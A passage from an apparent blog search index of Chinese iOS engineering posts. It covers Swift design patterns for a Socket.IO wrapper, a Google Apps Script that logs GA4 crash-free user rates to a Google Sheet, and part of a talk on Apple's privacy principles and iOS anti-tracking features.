// } func disconnect() { // } func reconnect() { // } func sendEvent(_ event: String) { // } func onEvent(_ event: String) -> AnyPublisher<Data?, Never> { // return PassthroughSubject<Data?, Never>().eraseToAnyPublisher() }}//struct ConnectionKeeperHandlerContext { let connection: Connection let isOccupie: Bool}protocol ConnectionKeeperHandler { var nextHandler: ConnectionKeeperHandler? { get set } func handle(context: ConnectionKeeperHandlerContext) func execute(context: ConnectionKeeperHandlerContext) func canExcute(context: ConnectionKeeperHandlerContext) -> Bool}extension ConnectionKeeperHandler { func handle(context: ConnectionKeeperHandlerContext) { if canExcute(context: context) { execute(context: context) } else { nextHandler?.handle(context: context) } }}class DisconnectedConnectionKeeperHandler: ConnectionKeeperHandler { var nextHandler: ConnectionKeeperHandler? func execute(context: ConnectionKeeperHandlerContext) { context.connection.disconnect() } func canExcute(context: ConnectionKeeperHandlerContext) -> Bool { if context.connection.connectionState == .connected && !context.isOccupie { return true } return false }}class ReconnectConnectionKeeperHandler: ConnectionKeeperHandler { var nextHandler: ConnectionKeeperHandler? func execute(context: ConnectionKeeperHandlerContext) { context.connection.reconnect() } func canExcute(context: ConnectionKeeperHandlerContext) -> Bool { if context.connection.connectionState == .disconnected && context.isOccupie { return true } return false }}class ReleasedConnectionKeeperHandler: ConnectionKeeperHandler { var nextHandler: ConnectionKeeperHandler? func execute(context: ConnectionKeeperHandlerContext) { context.connection.disconnect() } func canExcute(context: ConnectionKeeperHandlerContext) -> Bool { if context.connection.connectionState == .disconnected && !context.isOccupie { return true } return false }}let connection = SIOConnection(url: URL(string: \"wss://pinkoi.com\")!)let disconnectedHandler = DisconnectedConnectionKeeperHandler()let reconnectHandler = ReconnectConnectionKeeperHandler()let releasedHandler = ReleasedConnectionKeeperHandler()disconnectedHandler.nextHandler = reconnectHandlerreconnectHandler.nextHandler = releasedHandlerdisconnectedHandler.handle(context: ConnectionKeeperHandlerContext(connection: connection, isOccupie: false))需求場景 4.What?我們封裝出的 Connection 需要經過 setup 後才能使用,例如給予 URL Path、設定 Config…等等Why? 可以彈性的增減構建開口 可複用構建邏輯 未封裝的話,外部可以不照預期操作類別 e.g.:❌let connection = Connection()connection.send(event) // unexpected method call, should call .connect() first✅let connection = Connection()connection.connect()connection.send(event)// but...who knows???How? Builder Pattern :創建型 Pattern,能夠分步驟構建對象及複用構建方法。 Builder Pattern: SIOConnectionBuilder 為 Connection 的構建器,負責設定、存放構建 Connection 時會用到的資料; ConnectionConfiguration 抽象介面用來保證要使用 Connection 前必須呼叫 .connect() 才能拿到 Connection 實體。enum ConnectionState { case created case connected case disconnected case reconnecting case released}protocol Connection { var connectionState: ConnectionState {get} var url: URL {get} var id: UUID {get} init(url: URL) func connect() func reconnect() func disconnect() func sendEvent(_ event: String) func onEvent(_ event: String) -> AnyPublisher<Data?, Never>}// Socket.IO Implementationclass SIOConnection: Connection { let connectionState: ConnectionState = .created let url: URL let id: UUID = UUID() required init(url: URL) { self.url = url // } func connect() { // } func disconnect() { // } func reconnect() { // } func sendEvent(_ event: String) { // } func onEvent(_ event: String) -> AnyPublisher<Data?, Never> { // return PassthroughSubject<Data?, Never>().eraseToAnyPublisher() }}//class SIOConnectionClient: ConnectionConfiguration { private let url: URL private let config: [String: Any] init(url: URL, config: [String: Any]) { self.url = url self.config = config } func connect() -> Connection { // set config return SIOConnection(url: url) }}protocol ConnectionConfiguration { func connect() -> Connection}class SIOConnectionBuilder { private(set) var config: [String: Any] = [:] func setConfig(_ config: [String: Any]) -> SIOConnectionBuilder { self.config = config return self } // url is required parameter func build(url: URL) -> ConnectionConfiguration { return SIOConnectionClient(url: url, config: self.config) }}let builder = SIOConnectionBuilder().setConfig([\"test\":123])let connection1 = builder.build(url: URL(string: \"wss://pinkoi.com/1\")!).connect()let connection2 = builder.build(url: URL(string: \"wss://pinkoi.com/1\")!).connect()延伸:這裏也可以再套用 Factory Pattern ,將用工廠產出 SIOConnection 。完結!以上就是本次封裝 Socket.IO 中遇到的四個場景及七個使用到解決問題的 Design Patterns。最後附上此次封裝 Socket.IO 的完整設計藍圖與文中命名、示範略為不同,這張圖才是真實的設計架構;有機會再請原設計者分享設計理念及開源。Who?誰做了這些設計跟負責 Socket.IO 封裝專案呢?Sean Zheng , Android Engineer @ Pinkoi主要架構設計者、Design Pattern 評估套用、在 Android 端使用 Kotlin 實現設計。ZhgChgLi , Enginner Lead/iOS Enginner @ PinkoiPlatform Team 專案負責人、Pair programming、在 iOS 端使用 Swift 實現設計、討論並提出質疑(a.k.a. 出一張嘴)及最後撰寫本文與大家分享。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate", "url": "/posts/793cb8f89b72/", "categories": "ZRealm, Dev.", "tags": "crashlytics, ios-app-development, google-analytics, google-apps-script, google-sheets", "date": "2021-11-21 22:47:10 +0800", "snippet": "Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate使用 Google Apps Script 透過 Google Analytics 查詢 Crashlytics 自動填入到 Google Sheet 上篇「 Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具 」我們將 Crashl...", "content": "Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate使用 Google Apps Script 透過 Google Analytics 查詢 Crashlytics 自動填入到 Google Sheet 上篇「 Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具 」我們將 Crashlytics 閃退紀錄 Export Raw Data 到 Big Query,並使用 Google Apps Script 自動排程查詢 Top 10 Crash & 發布訊息到 Slack Channel。本篇接續自動化一個與 App 閃退相關的重要數據 — Crash-Free Users Rate 不受影響使用者的百分比 ,想必很多 App Team 都會持續追縱、紀錄此數據,以往都是傳統人工手動查詢,本篇目標是將此重複性工作自動化、也能避免人工查詢時可能貼錯數據的狀況;同之前所述,Firebase Crashlytics 沒有提供任何 API 供使用者查詢,所以我們同樣要借助將 Firebase 數據串接到其他 Google 服務,再透過該服務 API 查詢相關數據。一開始我以為這個數據同樣能從 Big Query 查詢出來;但其實這方向完全錯誤,因為 Big Query 是 Crash 的 Raw Data,不會有沒有閃退的人的數據,因此也算不出 Crash-Free Users Rate;關於這個需求在網路上的資料不多,查詢許久才找到有人提到 Google Analytics 這個關鍵字;我知道 Firebase 的 Analytics、Event 都能串到 GA 查詢使用,但沒想到 Crash-Free Users Rate 這個數據也包含在內,翻閱了 GA 的 API 後,Bingo!API Dimensions & MetricsGoogle Analytics Data API (GA4) 提供兩個 Metrics: crashAffectedUsers :受閃退影響的使用者數量 crashFreeUsersRate :不受閃退影響的使用者百分比(小數表示)知道路通之後,就可以開始動手實作了!串接 Firebase -> Google Analytics可參考 官方說明 步驟設定,本篇省略。GA4 Query Explorer Tool開始寫 Code 之前,我們可以先用官方提供的 Web GUI Tool 來快速建造查詢條件、取得查詢結果;實驗完結果是我們想要的之後,再開始寫 Code。前前往 >>> GA4 Query Explorer 在左上方記得選到 GA4 右方登入完帳號後,選擇相應的 GA Account & Property Start Date、EndDate:可直接輸入日期或用特殊變數表示日期 ( ysterday , today , 30daysAgo , 7daysAgo ) metrics:增加 crashFreeUsersRate dimensions:增加 platform (設備類型 iOS/Android/Desktop. . . ) dimension filter:增加 platform 、 string 、 exact 、 iOS or Android針對雙平台的 Crash Free Users Rate 分別查詢。拉到最下面點擊「Make Request」查看結果,我們就能得到指定日期範圍內的 Crash-Free Users Rate。 可以回頭打開 Firebase Crashlytics 比對同樣條件數據是否相同。 這邊有發現兩邊數字可能會有微微差距(我們有一項數字差了 0.0002),原因不明,不過在可以接受的誤差範圍內;若統一都使用 GA Crash-Free Users Rate 那也不能算是誤差了。使用 Google Apps Script 自動填入數據到 Google Sheet再來就是自動化的部分,我們將使用 Google Apps Script 查詢 GA Crash-Free Users Rate 數據後自動填入到我們的 Google Sheet 表單;已達自動填寫、自動追蹤的目標。假設我們的 Google Sheet 如上圖。可以點擊 Google Sheet 上方的 Extensions -> Apps Script 建立 Google Apps Script 或是 點此前網 Google Apps Script -> 左上方 新增專案即可。進來後可以先點上方未命名專案名稱,給個專案名稱。在左方的「Services」點「+」加上「Google Analytics Data API」。回到剛剛的 GA4 Query Explorer 工具,在 Make Request 按鈕旁邊可以勾選「Show Request JSON」取得此條件的 Request JSON。將此 Request JSON 轉換成 Google Apps Script 後如下:// Remeber add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined// https://ga-dev-tools.web.app/ga4/query-explorer/ -> property idconst propertyId = \"\";// https://docs.google.com/spreadsheets/d/googleSheetID/const googleSheetID = \"\";// Google Sheet 名稱const googleSheetName = \"App Crash-Free Users Rate\";function execute() { Logger.log(fetchCrashFreeUsersRate())}function fetchCrashFreeUsersRate(platform = \"iOS\", startDate = \"30daysAgo\", endDate = \"today\") { const dimensionPlatform = AnalyticsData.newDimension(); dimensionPlatform.name = \"platform\"; const metric = AnalyticsData.newMetric(); metric.name = \"crashFreeUsersRate\"; const dateRange = AnalyticsData.newDateRange(); dateRange.startDate = startDate; dateRange.endDate = endDate; const filterExpression = AnalyticsData.newFilterExpression(); const filter = AnalyticsData.newFilter(); filter.fieldName = \"platform\"; const stringFilter = AnalyticsData.newStringFilter() stringFilter.value = platform; stringFilter.matchType = \"EXACT\"; filter.stringFilter = stringFilter; filterExpression.filter = filter; const request = AnalyticsData.newRunReportRequest(); request.dimensions = [dimensionPlatform]; request.metrics = [metric]; request.dateRanges = dateRange; request.dimensionFilter = filterExpression; const report = AnalyticsData.Properties.runReport(request, \"properties/\" + propertyId); return parseFloat(report.rows[0].metricValues[0].value) * 100;} GA Property ID:一樣也可以由剛剛的 GA4 Query Explorer 工具取得:在一開始的選擇 Property 選單中,選擇的 Property 下方的數字就是 propertyId 。 googleSheetID:可以由 Google Sheet 網址中取得 https://docs.google.com/spreadsheets/d/ googleSheetID /edit googleSheetName:Google Sheet 中閃退紀錄的 Sheet 名稱將以上程式碼貼到 Google Apps Script 右方程式碼區塊&上方執行方法選擇「execute」function 後可以點擊 Debug 測試看看是否能正常取得資料:第一次執行會出現要求授權視窗:按照步驟完成帳號授權即可。執行成功會在下方 Log Print 出 Crash-Free Users Rate,代表查詢成功。再來我們只要再加上自動填入 Google Sheet 就大功告成了!完整 Code:// Remeber add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined// https://ga-dev-tools.web.app/ga4/query-explorer/ -> property idconst propertyId = \"\";// https://docs.google.com/spreadsheets/d/googleSheetID/const googleSheetID = \"\";// Google Sheet 名稱const googleSheetName = \"\";function execute() { const today = new Date(); const daysAgo7 = new Date(new Date().setDate(today.getDate() - 6)); // 今天不算,所以是 -6 const spreadsheet = SpreadsheetApp.openById(googleSheetID); const sheet = spreadsheet.getSheetByName(googleSheetName); var rows = []; rows[0] = Utilities.formatDate(daysAgo7, \"GMT+8\", \"MM/dd\")+\"~\"+Utilities.formatDate(today, \"GMT+8\", \"MM/dd\"); rows[1] = fetchCrashFreeUsersRate(\"iOS\", Utilities.formatDate(daysAgo7, \"GMT+8\", \"yyyy-MM-dd\"), Utilities.formatDate(today, \"GMT+8\", \"yyyy-MM-dd\")); rows[2] = fetchCrashFreeUsersRate(\"android\", Utilities.formatDate(daysAgo7, \"GMT+8\", \"yyyy-MM-dd\"), Utilities.formatDate(today, \"GMT+8\", \"yyyy-MM-dd\")); sheet.appendRow(rows);}function fetchCrashFreeUsersRate(platform = \"iOS\", startDate = \"30daysAgo\", endDate = \"today\") { const dimensionPlatform = AnalyticsData.newDimension(); dimensionPlatform.name = \"platform\"; const metric = AnalyticsData.newMetric(); metric.name = \"crashFreeUsersRate\"; const dateRange = AnalyticsData.newDateRange(); dateRange.startDate = startDate; dateRange.endDate = endDate; const filterExpression = AnalyticsData.newFilterExpression(); const filter = AnalyticsData.newFilter(); filter.fieldName = \"platform\"; const stringFilter = AnalyticsData.newStringFilter() stringFilter.value = platform; stringFilter.matchType = \"EXACT\"; filter.stringFilter = stringFilter; filterExpression.filter = filter; const request = AnalyticsData.newRunReportRequest(); request.dimensions = [dimensionPlatform]; request.metrics = [metric]; request.dateRanges = dateRange; request.dimensionFilter = filterExpression; const report = AnalyticsData.Properties.runReport(request, \"properties/\" + propertyId); return parseFloat(report.rows[0].metricValues[0].value) * 100;}再次點擊上方 Run or Debug 執行「execute」。回到 Google Sheet,數據新增成功!新增 Trigger 排程自動執行選擇左方時鐘按鈕 -> 右下方「+ Add Trigger」。 第一個 function 選擇「execute」 time based trigger 可選擇 week timer 每週追蹤&新增一次數據設定完點擊 Save 即可。完成現在開始,紀錄追蹤 App Crash-Free Users Rate 數據完全自動化;不需要人工手動查詢&填入;全部交給機器自動處理! 我們只需專注在解決 App Crash 問題! p.s. 不同於上一篇使用 Big Query 需要花錢查詢資料,此篇查詢 Crash-Free Users Rate、Google Apps Script 都是完全免費,可以放心使用。如果想將結果同步發送到 Slack Channel 可參考 上一篇文章 :===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS 隱私與便利的前世今生", "url": "/posts/9a05f632eba0/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, privacy, private-relay, apple-privacy, mopcon", "date": "2021-10-24 09:15:55 +0800", "snippet": "iOS 隱私與便利的前世今生Apple 隱私原則及 iOS 歷年對隱私保護的功能調整Theme by slidego[2023–08–01] iOS 17 Update對於之前演講的最新 iOS 17 隱私相關調整補充。Link Tracking ProtectionSafari 會自動移除網址的 Tracking Parameter 參數 (e.g. fbclid 、 gclid …) ...", "content": "iOS 隱私與便利的前世今生Apple 隱私原則及 iOS 歷年對隱私保護的功能調整Theme by slidego[2023–08–01] iOS 17 Update對於之前演講的最新 iOS 17 隱私相關調整補充。Link Tracking ProtectionSafari 會自動移除網址的 Tracking Parameter 參數 (e.g. fbclid 、 gclid …) 舉例: https://zhgchg.li/post/1?gclid=124 點擊後會變 https://zhgchg.li/post/1 目前測試 iOS 17 Developer Beta 4, fbxxx 、 gcxxx . .等等會被移掉, utm_ 是有保留的;不確定正式版 iOS 17 或日後 iOS 18 會不會再加強。 如果想知道最嚴格情況下的效果可安裝 iOS DuckDuckGo 瀏覽器進行測試。 詳細測試細節請參考「 iOS17 Safari 的新功能會把網址裡的 fbclid 跟 gclid 砍掉 」大大的這篇文章。Privacy Manifest .xprivacy & Report開發者需把使用到的 User Privacy 宣告在內, 並也需要要求有使用到的 SDK 提供該 SDK 的 Privacy Manifest。*另外也增加第三方 SDK SignatureXCode 15 能透過 Manifest 產生 Privacy Report 供開發者在 App Store 上做 App 隱私設定。Required reason API為避免部分有機會得出 fingerprinting 的 Foundation API 被濫用,蘋果開始針對部分 Foundation API 做管控; 需要在 Mainfest 中宣告為何要使用 。目前比較有影響的是 UserDefault 即屬於要宣告的 API。從 2023 年秋季開始,如果你上傳到 App Store Connect 的新 App 或 App 更新使用了需要聲明原因的 API (包括來自第三方 SDK 的內容),而你沒有在 App 的隱私清單中提供批准的原因,那麼你會收到通知。從 2024 年春季開始,若要將新 App 或 App 更新上傳到 App Store Connect,你需要在 App 的隱私清單中註明批准的原因,以準確反映你的 App 如何使用相應 API。如果目前批准原因的涵蓋範圍內並未包含某個需要聲明原因的 API 的用例,且你確信這個用例可讓你的 App 用戶直接受益,請告訴我們。Tracking Domain發送 Tracking 資訊的 API Domain 需宣告在 privacy manifest .xprivacy 並在使用者同意追蹤後才能發起網路請求,否則此 Domain 的網路請求全部都會被系統攔截。可從 XCode Netowrk 工具中檢查 Tracking Domain 是否被攔截:目前實測 Facebook、Google 的 Tracking Domain 都會被偵測到,需要照規定列入 Tracking Domain 並詢問權限。 graph.facebook.com : Facebook 相關數據統計 app-measurement.com : Google 相關數據統計:GA/Firebase….因此請注意 FB/Google 數據統計在 iOS 17 後可能會大幅流失,因為未詢問權限、不允許追蹤,會完全收不到數據;根據以往實作詢問追蹤的成效,大約有 7 成的使用者都會按不允許。 開發者自己的打 API 送 Tracking 方式,蘋果也說需要同上列管 Tracking Domain 如果 Tracking Domain 跟 API Domain 相同則需分開一個獨立的 Tracking Domain (e.g. api.zhgchg.li -> tracking.zhgchg.li) 目前暫時無法知道蘋果如何控管開發者自己的 Tracking,用 XCode 15 測試自家的沒有被發現。 不清楚官方是否會用工具檢測行為、或是審核人員人工查看 fingerprinting 依然禁止。前言這次很榮幸能參加 MOPCON 演講 ,但因疫情關係改成線上直播形式蠻遺憾的,無法認識更多新朋友;這次演講的主題是「iOS 隱私與便利的前世今生」主要想跟大家分享 Apple 關於隱私的原則及這些年來 iOS 基於這些隱私原則所做的功能調整。iOS 隱私與便利的前世今生 | Pinkoi, We Are Hiring!相信這幾年開發者或是 iPhone 用戶應該都對以下功能調整並不陌生: iOS ≥ 13: 所有支援第三方登入的 App 都需要多實作 Sign in with Apple,否則無法成功上架 App iOS ≥ 14: 剪貼簿存取警告 iOS ≥ 14.5: IDFA 必須允許後才能存取,幾乎等同封殺 IDFA iOS ≥ 15 :Private Relay,使用 Proxy 隱藏使用者原始 IP 位址 iOS ≥ 16 :剪貼簿存取需使用者授權 ….還有很多很多,會在文章後跟大家分享Why?如果不清楚 Apple 的隱私原則,甚至會覺得為何 Apple 這幾年不斷地在跟開發者、廣告商作對?很多大家用得很習慣的功能都被封鎖了。再追完「 WWDC 2021 — Apple’s privacy pillars in focus 」及「 Apple privacy white paper — A Day in the Life of Your Data 」兩份文件後如夢初醒,原來我們早已在不知不覺中洩漏許多個人隱私並且讓廣告商或社群媒體賺的盆滿缽滿,在我們的日常生活中已經達到無孔不入的境界。參考 Apple privacy white paper 改寫,以下以虛構人物哈里為例;為大家講述隱私是如何洩漏的及可能造成的危害。首先是哈里 iPhone 上的使用紀錄。左邊是網頁瀏覽紀錄: 可以看到分別造訪了跟車子、iPhone 13、精品有關的網站右邊是已安裝的 App: 有投資、旅遊、社交、購物、還有嬰兒攝影機…這些 App哈里的線下人生線下活動會留下記錄的地方例如:發票、信用卡刷卡紀錄、行車記錄器…等等組合你可能會想說,我瀏覽不同的網站、裝不同的 App (甚至根本沒登入)、再到線下活動怎麼可能有機會讓某個服務串起所有資料?答案是:就技術手段是有的,而且「可能」或是「已經」局部發生。如上圖所示: 未登入時網站與網站之間可以透過 Third-Party Cookie、IP Address + 裝置資訊算出的 Fingerprint 在不同網站中識別出同個瀏覽者。 登入時網站與網站之間可以透過註冊資料,如姓名、生日、電話、Email、身分證字號…串起你的資料 App 與 App 之間可以透過取得 Device UUID 在不同 App 中識別出同個使用者、URL Scheme 嗅探手機上其他已安裝的 App、Pasteboard 在 App 與 App 間傳遞資料;另外一樣也可在使用者登入後用註冊資料串起資料。 App 與網站之間同樣可以用 Third-Party Cookie、Fingerprint、Pasteboard 傳遞資料 線上與線下活動的串連可能發生在,銀行端蒐集信用卡消費記錄、記帳 App、發票蒐集 App、行車記錄器 App…等等,都有機會把線下活動與線上資料串接在一起 事實證明,技術上是可行的;那究竟躲在所有網站、App 之後的第三方是誰呢?諸如家大業大的 Facebook、Google 都靠個人廣告獲得不少收益;許多網站、App 也都會串接 Facebook、Google SDK…所以一切都很難說,這還是看得到,更多時候我們根本不知道網站、App 用了哪些第三方廣告、數據蒐集服務,在背後偷偷紀錄著我們的一舉一動。我們假設哈里所有的活動,背後都偷藏著同一個第三方在默默收集他的資料,那麼在它的眼裡,哈里可能的輪廓如下:左邊是個人資料,可能來自網站註冊資料、外送資料;右邊是依照哈里的活動紀錄打上的行為、興趣標籤。在它眼中的哈里,可能比哈里還更了解自己;這些資料用在社交媒體,可以讓使用者更加沈淪;用在廣告上,可以刺激哈里過度消費或是營造鳥籠效應(EX: 推薦你買新褲子,你買了褲子就會買合適的鞋子來穿搭,買了鞋子就會再買襪子…沒完沒了)。如果你覺得以上已經夠可怕了,還有更可怕的:有你的個人資料又知道你的經濟狀況…要做惡的話不敢想像,例如:綁架、竊盜…目前的隱私保護方式 法律規範 (EX: SGS-BS10012 個資驗證、CCPA、GDPR…) 隱私權協議、去識別化主要還是透過法規約束;很難確保服務 100% 隨時遵守、網路上惡意程式也很多也難保證服務不會被駭造成資料外洩;總之還是「 要做惡技術上都可行,單靠法規跟企業良心約束 」。除此之外更多時候,我們是「被迫」接受隱私權條款的,無法針對個別隱私授權,要馬整個服務都不用,要馬就是用但要接受全部隱私權條款;還有隱私條款不透明,不知道會怎麼被收集及應用,更不知道背後有沒有還躲著一個第三方在你根本不知道情況下蒐集你的資料。另外 Apple 還有提到關於未成年人的個人隱私,多半也都在監護人未同意的情況下被服務蒐集。Apple’s privacy principles知道個人隱私洩露帶來的危害之後,來看一下蘋果的隱私原則。節錄自 Apple Privacy White Paper 蘋果的理想不是完全封殺而是平衡,例如這幾年很多人都會直接裝 AD Block 完全阻斷廣告,這也不是蘋果想看到的;因為如果完全斷開就很難做出更好的服務。賈伯斯在 2010 年的 All Things Digital Conference 說過: 我相信人是聰明的,有些人會比其他人更想分享數據,每次都去問他們,讓他們煩到叫你不要再問他們了,讓他們精準的知道你要怎麼使用他們的資料。 — translate by Chun-Hsiu Liu 蘋果相信隱私是基本人權蘋果的四個隱私原則: Data Minimization:只取用你需要的資料 On-Device Processing:Apple 基於強大的處理器晶片,如非必要,個人隱私相關資料應在本地執行 User Transparency and Control:讓使用者了解哪些隱私資訊被蒐集?被用在哪?另外也要讓使用者能針對個別隱私資料分享開關控制 Security:確保資料儲存、傳遞的安全iOS 基於保護個人隱私的歷年功能調整了解到個人隱私洩露的危害及蘋果的隱私原則後,回到技術手段上;我們可以來看看 iOS 這些年來針對保護個人隱私的功能調整有哪些。網站與網站之間前面有提到第一種方法可以用 Third-Party Cookie 跨網站串起瀏覽者資料: 🈲,在 iOS >= 11 後的 Safari 都實裝了 Intelligent Tracking Prevention ( WebKit )預設啟用,瀏覽器會主動辨識用於追蹤、廣告的第三方 Cookie 加以阻擋;並且在每年的 iOS 版本不斷地加強辨識程式防止遺漏。透過 Third-Party Cookie 跨網站追蹤使用者這條路,在 Safari 上基本上已經行不通了。第二種方法是用 IP Address + 裝置資訊算出的 Fingerprint 在不同網站中識別出同個瀏覽者: 🈲,iOS >= 15 Private Relay尤其在 Third-Party Cookie 被禁之後,有越來越多服務採用這個方法,蘋果也知道…所幸在 iOS 15 連 IP 資訊都給你混淆了!Private Relay 服務會將使用者的原始請求先隨機送到蘋果的 Ingress Proxy,再由蘋果隨機分派到合作 CDN 的 Egress Proxy,再由 Egress Proxy 去請求目標網站。整個流程都經過加密只有自己 iPhone 的晶片解的開,也只有自己同時知道 IP 與請求的目標網站;蘋果的 Ingress Proxy 只知道你的 IP、CDN 的 Egress Proxy 只知道蘋果的 Ingress Proxy IP 跟請求的目標網站、網站只知道 CDN 的 Egress Proxy IP。從應用角度來看,同一個地區的所有裝置都會使用同個共享的 CDN 的 Egress Proxy IP 來請求目標網站;也因此網站端無法再用 IP 當成 Fingerprint 資訊。技術細節可參考「 WWDC 2021 — Get ready for iCloud Private Relay 」。補充 Private Relay: Apple/CDN Provider 都沒有完整 Log 可追朔:查了下這樣蘋果怎麼防止被用在惡意的地方,沒找到答案;可能就跟蘋果也不會幫 FBI 解鎖罪犯 iPhone 一樣意思吧;隱私是所有人的基本人權。 預設開啟,不需特別連接 不影響速度、效能 IP 會保證在同個國家和時區 (使用者可選模糊城市)、無法指定 IP 只對部分流量有效 iCloud+ 用戶:所有 Safari 上的流量 + App 中的 Insecure HTTP Request一般用戶:僅對 Safari 上網站安裝的第三方追蹤工具有效 官方有提供 CDN Egress IP List 供網站開發者辨認 (不要誤 Blocking Egress IP,會造成群體傷害) 網路管理者可 Ban 掉 DNS 對所有連接者停用 Private Relay iPhone 可針對特定網路連線停用 Private Relay 連接 VPN/ 掛 Proxy 時會停用 Private Relay 目前還在 Beta 版 (2021/10/24),啟用後部分服務可能會連不上 (中國地區、中國版抖音)或是服務會頻繁被登出Private Relay 實測圖 圖一 未啟用:原始 IP 位址 圖二 啟用 Private Relay — 保持一般位置:IP變成 CDN IP 但依然在 Taipei 圖三 啟用 Private Relay — 使用國家和時區(擴大模糊):IP變成 CDN IP & 變在 Taichung,但依然還是同個時區和國家測試專案App 可以用 URLSessionTaskMetrics 分析 Private Relay 的連接紀錄。扯遠了,因此用 IP 位址得到 Fingerprint 去辨識使用者的方法,也無法再使用了。App 與 App 之間第一種方式是早期可以直接存取 Device UUID: 🈲,iOS >= 7 禁止存取 Device UUID, 使用 IDentifierForAdvertisers/IDentifierForVendor 取代 IDFV: 同個開發者帳號下的所有 App 能拿到同一個 UUID; 搭配 KeyChain 也是目前使用者 UUID 的辨識方法 。 IDFA: 不同開發者、不同 App 之間能拿到相同的 UUID,但是 IDFA 使用者可以重設或禁用。 🈲,iOS >= 14.5 IDentifierForAdvertisers 需詢問後才能使用iOS 14.5 後蘋果加強對 IDFA 的取用限制,App 需要先詢問使用者允不允許追蹤後才能取得 IDFA UUID;未詢問、未允許的情況下都拿不到值。市調公司初步調查數據大約有 7成的使用者(最新數據有人說 9 成)都不允許追蹤取用 IDFA,所以大家才會說 IDFA 已死!測試專案App 與 App 之間互通有無的第二種方法是 URL Scheme:iOS App 可以使用 canOpenURL 去探測使用者手機上有沒有裝某個 App。 🈲,iOS >= 9 需先在 App 內設定才能使用;不能任意探測。 iOS ≥ 15 新增限制,最多只能設定 50 組其他 App 的 Scheme。 Apps linked on or after iOS 15 are limited to a maximum of 50 entries in the LSApplicationQueriesSchemes key.網站 與 App 之間同前文所述第一種方法也是透過 Cookie 來串接:早期 iOS Safari 的 Cookie 跟 App WebView 的 Cookie 是可以互通的,可以藉此串起 網站與 App 之間的資料。做法可以在 App 畫面上偷塞一個 1 pixel 的 WebView 元件在背景偷偷讀取 Safari Cookie 回來用。 🈲,iOS >= 11 禁止 Safari 和 App WebView 間共用 Cookie如果有需要取得 Safari 的 Cookie (EX: 直接使用網站 Cookie 登入),可以使用 SFSafariViewController 元件取得;但此元件強迫跳提示視窗且無法客製化,確保使用者不會在無意間被偷取 Cookie。第二種方法是同網站與網站用IP Address + 裝置資訊算出的 Fingerprint 在不同網站中識別出同個瀏覽者:同前述, iOS ≥ 15 已被 Private Relay 混淆。最後一種也是唯一還能的方法 — Pasteboard :使用剪貼簿串接跨平台的資訊,因為蘋果不可能禁用剪貼簿跨 App 使用,但是它可以提示使用者。 ⚠️ iOS >= 14 新增剪貼簿存取警告⚠️ 2022/07/22 Update: iOS 16 Upcoming ChangesiOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。UIPasteBoard’s privacy change in iOS 16使用 Pasteboard 實現 Deferred Deep Link 延遲深度連結實作 這邊要多提一下關於 iOS 14 剪貼簿的隱私恐慌,詳細可參考我之前的文章「 iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難 」雖然不能排除讀取剪貼簿是想竊資,但更多時候是我們 App 需要提供更好的使用體驗:在沒有實現 Deferred Deep Link 延遲深度連結之前,當我們引導使用者從網站上去安裝 App,安裝完成後打開 App 默認只會打開首頁;更好的使用體驗應該是打開 App 回復到網頁上停留的頁面的 App 對應頁。要實現這個功能就需要 網站與 App 之間有機會串起資料,如文章前述的其他方法都已被封禁,目前僅能透過剪貼簿做為資訊儲存媒介(如上圖)。包含 Firebase Dynamic Links、Branch.io 最新版(之前 Branch.io 用 IP Adrees Fingerprint 來實現)也都使用剪貼簿做 Deferred Deep Link。實作可參考我之前的文章: iOS Deferred Deep Link 延遲深度連結實作(Swift) 一般情況下如果是為了要做到 Deferred Deep Link 僅會在第一次打開 App、重新返回 App 那一刻去讀取剪貼簿資訊;不會在使用中或奇怪的時間點讀取,這一點值得注意。更好的做法是先用 UIPasteboard.general.detectPatterns 探測剪貼簿的資料是不是我們需要的,是在讀取。測試專案iOS ≥ 15 之後優化了剪貼簿提示,如果是使用者自己的貼上動作,就不會再跳提示了!廣告成效解決方案同前文所說的蘋果隱私原則,希望的是平衡而不是完全阻斷使用者與服務。網站與網站的廣告成效統計:Safari 上相對於阻擋 Intelligent Tracking Prevention 的功能就是 Private Click Measurement ( WebKit ) 用於在去除個人隱私的情況下統計廣告成效。具體流程如上圖,使用者在 A 網站點擊廣告前往 B 網站時,會在瀏覽器上紀錄一個 Source ID (識別同個使用者用) 與 Destination 資訊 (目標網站);當使用者在 B 網站上完成轉換也會紀錄一個 Trigger ID (代表什麼動作) 在瀏覽器上。這兩個資訊會合併起來在隨機 24 ~ 48 小時後傳送到 A 和 B 網站得到廣告成效。一切都是 on-device safari 自行處理、防範惡意點擊也是由 Safari 提供保護。App 與 網站或 App 之間的廣告成效統計:可以使用 SKAdNetwork (需向蘋果申請加入) 類似 Private Click Measurement 方式,不再展開贅述。 可以多提一下,蘋果並非閉門造車; SKAdNetwork 目前來到 2.0 版本,蘋果持續收集開發者廣告商的需求綜合個人隱私控管,持續優化 SDK 功能。 這邊真心許願 Deferred Deep Link 能用 SDK 串起,因為我們是為了提升使用者體驗,沒有要侵犯個人隱私的意思。技術細節可參考「 WWDC 2021 — Meet privacy-preserving ad attribution 」。Cross-Platform iOS ≥ 13 所有支援第三方登入的 App 都需要多實作 Sign in with Apple,否則無法成功上架 App 姓名可自行編輯 可隱藏真實 Email (使用蘋果產的虛擬 Email 代替) 使用者可要求刪除帳號 2022/01/31 前 App 須完成實作 🆕 iOS >= 15 iCloud+ 用戶支援 Hide My Email 支援 Safari、App 所有信箱欄位 使用者可到設定中任意產生虛擬信箱同 Sign in with Apple 使用蘋果產的虛擬 Email 代替真實信箱,在收到信後蘋果會轉發到你的真實信箱中,藉此保護你的信箱資訊。類似 10 分鐘信箱,但又更強大;只要不停用,那組虛擬信箱地址就是你永久持有;也沒有新增上限,可以無限新增,不確定蘋果如何防止濫用。設定 -> Apple ID -> 隱藏我的電子郵件OthersApp privacy details on the App Store: App 必需在 App Store 